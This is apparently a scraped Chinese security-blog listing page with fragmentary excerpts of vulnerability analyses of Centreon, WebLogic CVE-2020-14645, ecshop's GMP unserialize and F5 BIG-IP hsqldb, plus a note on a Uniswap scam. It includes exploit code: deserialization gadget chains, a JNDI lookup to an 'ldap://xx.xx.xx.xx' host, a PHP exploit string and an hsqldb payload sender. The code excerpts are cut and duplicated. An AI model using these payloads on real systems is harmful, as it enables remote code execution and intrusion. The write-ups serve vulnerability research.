index.php会进行登录认证,检查是否定义$_SESSION["centreon"]变量,这个值在管理员登录后设置。程序登录有两种方式,使用账密或者token,相关逻辑在 /centreon/www/include/core/login/processLogin.php 中。不止index.php, centreon/www/include/ 下大部分功能页都会检查session,没有登录就无法访问

main.get.php

这是主要的路由功能,程序开头对数据进行过滤。$_GET数组使用fiter_var()过滤处理,编码特殊字符,有效地防御了一些XSS,比如可控变量在引号中的情况,无法进行标签闭合,无法逃逸单引号

  • 分析历史漏洞,在复现和调试的过程中,可以比较快的了解这个框架的结构,也可以从历史漏洞中获取思路,举一反三
  • 黑盒审计,开启抓包工具,测试可疑的功能点并观察数据包,这样可以加快对网站路由的熟悉,也可以快速的验证一些思路,排除一些可能性,仍然存疑的功能点可以在白盒审计时进一步确认;
  • 白盒审计,入口脚本,路由方式,核心配置,常用功能模块和数据验证过滤操作,这些都是要留意的,当然最主要还是看入口,路由和数据过滤验证的部分;其他的如核心配置,常用功能模块,可以按需查看,大概了解了网站架构就可以开始看对应的功能代码了,看的时候可以分两个角度:一个就是从刚才黑盒测试遗留的可疑点入手,断点功能代码,审查是否存在漏洞;另一个就是从敏感关键字入手,全局搜索,溯源追踪。
  • 注重不同漏洞的组合攻击,无论是这次的Centreon One_click to RCE漏洞,还是通达OA任意删除认证文件导致的未授权RCE、PHPCMS V9 authkey泄露导致的未授权RCE,打的都是一套组合拳,在漏洞挖掘的过程可以多加关注

[1] Centreon V20.04

https://github.com/centreon/centreon/releases/tag/20.04.0

[2] CVE-2020-12688漏洞公开细节

https://github.com/TheCyberGeek/Centreon-20.04

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1313/

作者:江 | Categories: 安全研究 漏洞分析 | Tags:

Defi?Uniswap 项目漏洞教程新骗局

2020-11-03

作者:极光 @ 知道创宇404区块链安全研究团队
时间:2020年8月31日

昨晚突然看到群里的一个消息, 揭秘uniswap-defi项目漏洞-割韭菜新手法 ,心想还有这事?而且还是中英文介绍。

You don't have to worry that you will lose money, because other people can only buy and can't sell it in this contract. When the trading pair is created, you can change for another wallet (the wallet address of the contract can be bought and sold) to buy it, and then test whether it can be sold. Here's the information for selling`
You don 't have to worry that you will lose money, because other people can only buy and can' t sell it in this contract . When the trading pair is created , you can change for another wallet ( the wallet address of the contract can be bought and sold ) to buy it , and then test whether it can be sold . Here ' s the information for selling `

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1323/

作者:江 | Categories: 技术分享 漏洞分析 | Tags:

WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析

2020-11-03

作者:DEADF1SH_CAT@知道创宇404实验室
时间:2020年8月3日

Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。

//poc1 javax.management.BadAttributeValueExpException.readObject() com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString() java.util.concurrent.ConcurrentSkipListMap$SubMap.size() java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd() java.util.concurrent.ConcurrentSkipListMap.cpr() com.tangosol.util.comparator.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() //... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec() //poc2 java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() //... Method.invoke() //... Runtime.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//poc1
javax . management . BadAttributeValueExpException . readObject ( )
com . tangosol . internal . sleepycat . persist . evolve . Mutations . toString ( )
java . util . concurrent . ConcurrentSkipListMap $ SubMap . size ( )
java . util . concurrent . ConcurrentSkipListMap $ SubMap . isBeforeEnd ( )
java . util . concurrent . ConcurrentSkipListMap . cpr ( )
com . tangosol . util . comparator . ExtractorComparator . compare ( )
com . tangosol . util . extractor . ChainedExtractor . extract ( )
com . tangosol . util . extractor . ReflectionExtractor ( ) . extract ( )
Method . invoke ( )
//...
com . tangosol . util . extractor . ReflectionExtractor ( ) . extract ( )
Method . invoke ( )
Runtime . exec ( )
//poc2
java . util . PriorityQueue . readObject ( )
java . util . PriorityQueue . heapify ( )
java . util . PriorityQueue . siftDown ( )
java . util . PriorityQueue . siftDownUsingComparator ( )
com . tangosol . util . extractor . AbstractExtractor . compare ( )
com . tangosol . util . extractor . MultiExtractor . extract ( )
com . tangosol . util . extractor . ChainedExtractor . extract ( )
//...
Method . invoke ( )
//...
Runtime . exec ( )
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); //这里chainedExtractor为ChainedExtractor对象,后续会说明chainedExtractor对象的具体构造 Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance(); Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class); setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造 //利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值 Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue")); queueArray[0] = jdbcRowSet; queueArray[1] = jdbcRowSet;
1
2
3
4
5
6
7
JdbcRowSetImpl jdbcRowSet = ( JdbcRowSetImpl ) JdbcRowSetImpl . class . newInstance ( ) ;
Method setDataSource_Method = jdbcRowSet . getClass ( ) . getMethod ( "setDataSourceName" , String . class ) ;
setDataSource_Method . invoke ( jdbcRowSet , "ldap://xx.xx.xx.xx:1389/#Poc" ) ; //地址自行构造
//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值
Object [ ] queueArray = ( Object [ ] ) ( ( Object [ ] ) Reflections . getFieldValue ( queue , "queue" ) ) ;
queueArray [ 0 ] = jdbcRowSet ;
queueArray [ 1 ] = jdbcRowSet ;
UniversalExtractor universalExtractor = new UniversalExtractor(); Object object = new Object[]{}; Reflections.setFieldValue(universalExtractor,"m_aoParam",object); Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData"); Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
1
2
3
4
5
UniversalExtractor universalExtractor = new UniversalExtractor ( ) ;
Object object = new Object [ ] { } ;
Reflections . setFieldValue ( universalExtractor , "m_aoParam" , object ) ;
Reflections . setFieldValue ( universalExtractor , "m_sName" , "DatabaseMetaData" ) ;
Reflections . setFieldValue ( universalExtractor , "m_fMethod" , false ) ;
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{}); ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor}); PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); queue.add("1"); queue.add("1");
1
2
3
4
5
ReflectionExtractor reflectionExtractor = new ReflectionExtractor ( "toString" , new Object [ ] { } ) ;
ChainedExtractor chainedExtractor = new ChainedExtractor ( new ValueExtractor [ ] { reflectionExtractor } ) ;
PriorityQueue & lt ; Object & gt ; queue = new PriorityQueue ( 2 , new ExtractorComparator ( chainedExtractor ) ) ;
queue . add ( "1" ) ;
queue . add ( "1" ) ;

初次接触完整的反序列化漏洞分析,在整个分析过程中收获到很多东西。笔者得到的不仅仅只是知识上的收获,在调试过程中也学到了很多调试技巧。另外本文看起来可能会比较啰嗦冗余,但其初衷是想要站在读者的角度去思考,去为了方便一些同样刚入门的人阅读起来,能够更加浅显易懂。学安全,我们经常会碰壁,对于一些知识会比较难啃。有些人遇到就选择了放弃,然后却因此原地踏步。不妨就这样迎难而上,咬着牙啃下去,到最后,你会发现,你得到的,远远比你付出的要多。可能对部分人不太有效、毕竟因人而异,但这是自己在学习过程中所体会到的,也因此想要分享给大家这么一个建议。相信在未来,自己对于反序列化漏洞的理解以及挖掘思路,能够有更深刻的认知,同时激发出自己不一样的思维碰撞。

References

[1] Oracle 7月安全更新

https://www.oracle.com/security-alerts/cpujul2020.html

[2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入

https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ

[3] Y4er的poc

https://github.com/Y4er/CVE-2020-14645

[4] Java反序列化:基于CommonsCollections4的Gadget分析

https://www.freebuf.com/articles/others-articles/193445.html

[5] Oracle WebLogic 最新补丁的绕过漏洞分析(CVE-2020-2883)

https://blog.csdn.net/systemino/article/details/106117659

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1280/

作者:江 | Categories: 漏洞分析 | Tags:

从反序列化到类型混淆漏洞——记一次 ecshop 实例利用

2020-11-03

作者:LoRexxar'@知道创宇404实验室
时间:2020年3月31日
English Version: https://paper.seebug.org/1268

本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int gmp_unserialize ( zval * * object , zend_class_entry * ce , const unsigned char * buf , zend_uint buf_len , zend_unserialize_data * data TSRMLS_DC ) /* {{{ */
{
. . .
ALLOC_INIT_ZVAL ( zv_ptr ) ;
if ( ! php_var_unserialize ( & amp ; zv_ptr , & amp ; p , max , & amp ; unserialize_data TSRMLS_CC )
|| Z_TYPE_P ( zv_ptr ) != IS _ ARRAY
) {
zend_throw_exception ( NULL , "Could not unserialize properties" , 0 TSRMLS_CC ) ;
goto exit ;
}
if ( zend_hash_num_elements ( Z_ARRVAL_P ( zv_ptr ) ) != 0 ) {
zend_hash_copy (
zend_std_get_properties ( * object TSRMLS_CC ) , Z_ARRVAL_P ( zv_ptr ) ,
( copy_ctor_func_t ) zval_add_ref , NULL , sizeof ( zval * )
) ;
}
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); return zobj->properties; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); $obj4 = new stdClass; var_dump($x); var_dump($obj); var_dump($obj2); var_dump($obj3); var_dump($obj4);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
& lt ; ? php
class obj
{
var $ ryat ;
function __wakeup ( )
{
$ this -> ryat = 1 ;
}
}
class b {
var $ ryat = 1 ;
}
$ obj = new stdClass ;
$ obj -> aa = 1 ;
$ obj -> bb = 2 ;
$ obj2 = new b ;
$ obj3 = new stdClass ;
$ obj3 -> aa = 2 ;
$ inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}' ;
$ exploit = 'a:1:{i:0;C:3:"GMP":' . strlen ( $ inner ) . ':{' . $ inner . '}}' ;
$ x = unserialize ( $ exploit ) ;
$ obj4 = new stdClass ;
var_dump ( $ x ) ;
var_dump ( $ obj ) ;
var_dump ( $ obj2 ) ;
var_dump ( $ obj3 ) ;
var_dump ( $ obj4 ) ;
? >
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
array ( 1 ) {
[ 0 ] = >
& amp ; int ( 1 )
}
object ( stdClass ) #1 (3) {
[ "aa" ] = >
string ( 2 ) "hi"
[ "bb" ] = >
string ( 2 ) "hi"
[ 0 ] = >
object ( obj ) #5 (1) {
[ "ryat" ] = >
& amp ; int ( 1 )
}
}
object ( b ) #2 (1) {
[ "ryat" ] = >
int ( 1 )
}
object ( stdClass ) #3 (1) {
[ "aa" ] = >
int ( 2 )
}
object ( stdClass ) #4 (0) {
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
array ( 1 ) {
[ 0 ] = >
& amp ; object ( GMP ) #4 (4) {
[ "aa" ] = >
string ( 2 ) "hi"
[ "bb" ] = >
string ( 2 ) "hi"
[ 0 ] = >
object ( b ) #5 (1) {
[ "ryat" ] = >
& amp ; object ( GMP ) #4 (4) {
[ "aa" ] = >
string ( 2 ) "hi"
[ "bb" ] = >
string ( 2 ) "hi"
[ 0 ] = >
* RECURSION*
[ "num" ] = >
string ( 2 ) "32"
}
}
[ "num" ] = >
string ( 2 ) "32"
}
}
object ( stdClass ) #1 (2) {
[ "aa" ] = >
int ( 1 )
[ "bb" ] = >
int ( 2 )
}
object ( b ) #2 (1) {
[ "ryat" ] = >
int ( 1 )
}
object ( stdClass ) #3 (1) {
[ "aa" ] = >
int ( 2 )
}
object ( stdClass ) #6 (0) {
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array ( 1 ) {
[ 0 ] = >
& amp ; int ( 2 )
}
object ( stdClass ) #1 (2) {
[ "aa" ] = >
int ( 1 )
[ "bb" ] = >
int ( 2 )
}
object ( b ) #2 (4) {
[ "ryat" ] = >
int ( 1 )
[ "aa" ] = >
string ( 2 ) "hi"
[ "bb" ] = >
string ( 2 ) "hi"
[ 0 ] = >
object ( obj ) #5 (1) {
[ "ryat" ] = >
& amp ; int ( 2 )
}
}
object ( stdClass ) #3 (1) {
[ "aa" ] = >
int ( 2 )
}
object ( stdClass ) #4 (0) {
}
if (!empty($_COOKIE['ECSCP']['lastfilter'])) $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[ 129 ] = >
string ( 3 ) "ECS"
[ 130 ] = >
string ( 9 ) "ecs_error"
[ 131 ] = >
string ( 8 ) "exchange"
[ 132 ] = >
string ( 9 ) "cls_mysql"
[ 133 ] = >
string ( 11 ) "cls_session"
[ 134 ] = >
string ( 12 ) "cls_template"
[ 135 ] = >
string ( 11 ) "certificate"
[ 136 ] = >
string ( 6 ) "oauth2"
[ 137 ] = >
string ( 15 ) "oauth2_response"
[ 138 ] = >
string ( 14 ) "oauth2_request"
[ 139 ] = >
string ( 9 ) "transport"
[ 140 ] = >
string ( 6 ) "matrix"
[ 141 ] = >
string ( 16 ) "leancloud_client"
require(dirname(__FILE__) . '/includes/init.php'); require_once(ROOT_PATH . 'includes/lib_order.php'); require_once(ROOT_PATH . 'includes/lib_goods.php'); require_once(ROOT_PATH . 'includes/cls_matrix.php'); include_once(ROOT_PATH . 'includes/cls_certificate.php'); require('leancloud_push.php');
1
2
3
4
5
6
require ( dirname ( __FILE__ ) . '/includes/init.php' ) ;
require_once ( ROOT _ PATH . 'includes/lib_order.php' ) ;
require_once ( ROOT _ PATH . 'includes/lib_goods.php' ) ;
require_once ( ROOT _ PATH . 'includes/cls_matrix.php' ) ;
include_once ( ROOT _ PATH . 'includes/cls_certificate.php' ) ;
require ( 'leancloud_push.php' ) ;
function make_compiled($filename) $name = $this->compile_dir . '/' . basename($filename) . '.php'; if ($this->force_compile || $filestat['mtime'] > $expires) $this->_current_file = $filename; $source = $this->fetch_str(file_get_contents($filename)); if (file_put_contents($name, $source, LOCK_EX) === false) trigger_error('can\'t write:' . $name); $source = $this->_eval($source); return $source;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function make_compiled ( $ filename )
{
$ name = $ this -> compile _ dir . '/' . basename ( $ filename ) . '.php' ;
. . .
if ( $ this -> force_compile || $ filestat [ 'mtime' ] > $ expires )
{
$ this -> _current_file = $ filename ;
$ source = $ this -> fetch_str ( file_get_contents ( $ filename ) ) ;
if ( file_put_contents ( $ name , $ source , LOCK_EX ) === false )
{
trigger_error ( 'can\'t write:' . $ name ) ;
}
$ source = $ this -> _eval ( $ source ) ;
}
return $ source ;
}
function get_para($val, $type = 1) // 处理insert外部函数/需要include运行的函数的调用数据 $pa = $this->str_trim($val); foreach ($pa AS $value) if (strrpos($value, '=')) list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '"'), '', $value)); if ($b{0} == '$') if ($type) eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';'); $para[$a] = $this->get_val(substr($b, 1)); $para[$a] = $b; return $para;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function get_para ( $ val , $ type = 1 ) // 处理insert外部函数/需要include运行的函数的调用数据
{
$ pa = $ this -> str_trim ( $ val ) ;
foreach ( $ pa AS $ value )
{
if ( strrpos ( $ value , '=' ) )
{
list ( $ a , $ b ) = explode ( '=' , str_replace ( array ( ' ' , '"' , "'" , '"' ) , '' , $ value ) ) ;
if ( $ b { 0 } == '$' )
{
if ( $ type )
{
eval ( '$para[\'' . $ a . '\']=' . $ this -> get_val ( substr ( $ b , 1 ) ) . ';' ) ;
}
else
{
$ para [ $ a ] = $ this -> get_val ( substr ( $ b , 1 ) ) ;
}
}
else
{
$ para [ $ a ] = $ b ;
}
}
}
return $ para ;
}

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1267/

作者:江 | Categories: 漏洞分析 | Tags:

F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析

2020-11-03

作者:Longofo@知道创宇404实验室
时间:2020年7月10日
English Version: https://paper.seebug.org/1272/

F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用 poc 已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。

利用源码搭建一个hsqldb http servlet

如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:

使用 javap -verbose hsqlServlet.class 命令看下hsqldb中hsqlServlet.class类的详细信息:

Classfile /C:/Users/dell/Desktop/hsqlServlet.class Last modified 2018-11-14; size 128 bytes MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c public class hsqlServlet extends org.hsqldb.Servlet minor version: 0 major version: 51 flags: ACC_PUBLIC, ACC_SUPER Constant pool: #1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V #2 = Class #8 // hsqlServlet #3 = Class #9 // org/hsqldb/Servlet #4 = Utf8 <init> #5 = Utf8 ()V #6 = Utf8 Code #7 = NameAndType #4:#5 // "<init>":()V #8 = Utf8 hsqlServlet #9 = Utf8 org/hsqldb/Servlet public hsqlServlet(); descriptor: ()V flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V 4: return
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Classfile / C : / Users / dell / Desktop / hsqlServlet . class
Last modified 2018 - 11 - 14 ; size 128 bytes
MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org . hsqldb . Servlet
minor version : 0
major version : 51
flags : ACC_PUBLIC , ACC_SUPER
Constant pool :
#1 = Methodref          #3.#7          // org/hsqldb/Servlet."<init>":()V
#2 = Class              #8             // hsqlServlet
#3 = Class              #9             // org/hsqldb/Servlet
#4 = Utf8               <init>
#5 = Utf8               ()V
#6 = Utf8               Code
#7 = NameAndType        #4:#5          // "<init>":()V
#8 = Utf8               hsqlServlet
#9 = Utf8               org/hsqldb/Servlet
{
public hsqlServlet ( ) ;
descriptor : ( ) V
flags : ACC_PUBLIC
Code :
stack = 1 , locals = 1 , args_size = 1
0 : aload _ 0
1 : invokespecial #1                  // Method org/hsqldb/Servlet."<init>":()V
4 : return
}
Classfile /C:/Users/dell/Desktop/Test.class Last modified 2020-7-13; size 586 bytes MD5 checksum eea80d1f399295a29f02f30a3764ff25 Compiled from "Test.java" public class Test minor version: 0 major version: 51 flags: ACC_PUBLIC, ACC_SUPER Constant pool: #1 = Methodref #7.#22 // java/lang/Object."<init>":()V #2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream; #3 = String #25 // aaa #4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V #5 = String #19 // test #6 = Class #28 // Test #7 = Class #29 // java/lang/Object #8 = Utf8 <init> #9 = Utf8 ()V #10 = Utf8 Code #11 = Utf8 LineNumberTable #12 = Utf8 LocalVariableTable #13 = Utf8 this #14 = Utf8 LTest; #15 = Utf8 main #16 = Utf8 ([Ljava/lang/String;)V #17 = Utf8 args #18 = Utf8 [Ljava/lang/String; #19 = Utf8 test #20 = Utf8 SourceFile #21 = Utf8 Test.java #22 = NameAndType #8:#9 // "<init>":()V #23 = Class #30 // java/lang/System #24 = NameAndType #31:#32 // out:Ljava/io/PrintStream; #25 = Utf8 aaa #26 = Class #33 // java/io/PrintStream #27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V #28 = Utf8 Test #29 = Utf8 java/lang/Object #30 = Utf8 java/lang/System #31 = Utf8 out #32 = Utf8 Ljava/io/PrintStream; #33 = Utf8 java/io/PrintStream #34 = Utf8 println #35 = Utf8 (Ljava/lang/String;)V public Test(); descriptor: ()V flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #1 // Method java/lang/Object."<init>":()V 4: return LineNumberTable: line 1: 0 LocalVariableTable: Start Length Slot Name Signature 0 5 0 this LTest; public static void main(java.lang.String[]); descriptor: ([Ljava/lang/String;)V flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String aaa 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return LineNumberTable: line 3: 0 line 4: 8 LocalVariableTable: Start Length Slot Name Signature 0 9 0 args [Ljava/lang/String; public void test(); descriptor: ()V flags: ACC_PUBLIC Code: stack=2, locals=1, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #5 // String test 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return LineNumberTable: line 7: 0 line 8: 8 LocalVariableTable: Start Length Slot Name Signature 0 9 0 this LTest; SourceFile: "Test.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
Classfile / C : / Users / dell / Desktop / Test . class
Last modified 2020 - 7 - 13 ; size 586 bytes
MD5 checksum eea80d1f399295a29f02f30a3764ff25
Compiled from "Test.java"
public class Test
minor version : 0
major version : 51
flags : ACC_PUBLIC , ACC_SUPER
Constant pool :
#1 = Methodref          #7.#22         // java/lang/Object."<init>":()V
#2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
#3 = String             #25            // aaa
#4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = String             #19            // test
#6 = Class              #28            // Test
#7 = Class              #29            // java/lang/Object
#8 = Utf8               <init>
#9 = Utf8               ()V
#10 = Utf8               Code
#11 = Utf8               LineNumberTable
#12 = Utf8               LocalVariableTable
#13 = Utf8               this
#14 = Utf8               LTest;
#15 = Utf8               main
#16 = Utf8               ([Ljava/lang/String;)V
#17 = Utf8               args
#18 = Utf8               [Ljava/lang/String;
#19 = Utf8               test
#20 = Utf8               SourceFile
#21 = Utf8               Test.java
#22 = NameAndType        #8:#9          // "<init>":()V
#23 = Class              #30            // java/lang/System
#24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
#25 = Utf8               aaa
#26 = Class              #33            // java/io/PrintStream
#27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
#28 = Utf8               Test
#29 = Utf8               java/lang/Object
#30 = Utf8               java/lang/System
#31 = Utf8               out
#32 = Utf8               Ljava/io/PrintStream;
#33 = Utf8               java/io/PrintStream
#34 = Utf8               println
#35 = Utf8               (Ljava/lang/String;)V
{
public Test ( ) ;
descriptor : ( ) V
flags : ACC_PUBLIC
Code :
stack = 1 , locals = 1 , args_size = 1
0 : aload _ 0
1 : invokespecial #1                  // Method java/lang/Object."<init>":()V
4 : return
LineNumberTable :
line 1 : 0
LocalVariableTable :
Start Length Slot Name Signature
0 5 0 this LTest ;
public static void main ( java . lang . String [ ] ) ;
descriptor : ( [ Ljava / lang / String ; ) V
flags : ACC_PUBLIC , ACC_STATIC
Code :
stack = 2 , locals = 1 , args_size = 1
0 : getstatic #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
3 : ldc #3                  // String aaa
5 : invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8 : return
LineNumberTable :
line 3 : 0
line 4 : 8
LocalVariableTable :
Start Length Slot Name Signature
0 9 0 args [ Ljava / lang / String ;
public void test ( ) ;
descriptor : ( ) V
flags : ACC_PUBLIC
Code :
stack = 2 , locals = 1 , args_size = 1
0 : getstatic #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
3 : ldc #5                  // String test
5 : invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8 : return
LineNumberTable :
line 7 : 0
line 8 : 8
LocalVariableTable :
Start Length Slot Name Signature
0 9 0 this LTest ;
}
SourceFile : "Test.java"
public static void testLocal() throws IOException, ClassNotFoundException, SQLException { String url = "http://localhost:8080"; String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser"))); System.out.println(payload); String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/"; Class.forName("org.hsqldb.jdbcDriver"); Connection connection = DriverManager.getConnection(dburl, "sa", ""); Statement statement = connection.createStatement(); statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')"); statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void testLocal ( ) throws IOException , ClassNotFoundException , SQLException {
String url = "http://localhost:8080" ;
String payload = Hex . encodeHexString ( Files . readAllBytes ( Paths . get ( "calc.ser" ) ) ) ;
System . out . println ( payload ) ;
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/" ;
Class . forName ( "org.hsqldb.jdbcDriver" ) ;
Connection connection = DriverManager . getConnection ( dburl , "sa" , "" ) ;
Statement statement = connection . createStatement ( ) ;
statement . execute ( "call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')" ) ;
statement . execute ( "call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');" ) ;
}
  • 1~4:总长度00000014,共20字节
  • 5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001
  • 9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000
  • 13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003
  • 17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000

连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:

  • 1~4:总长度00000082,这里为130
  • 5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b
  • 9~12:databaseID,为上面的00000000
  • 13~16:sessionID,为上面的00000003
  • 17~20:updateCount,为上面的00000000
  • 21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000
  • 26~30:执行语句的长度
  • 31~:后面都是执行语句了

可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。

反序列化触发位置

这里反序列化触发位置在:

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/1271/

作者:江 | Categories: 漏洞分析 | Tags: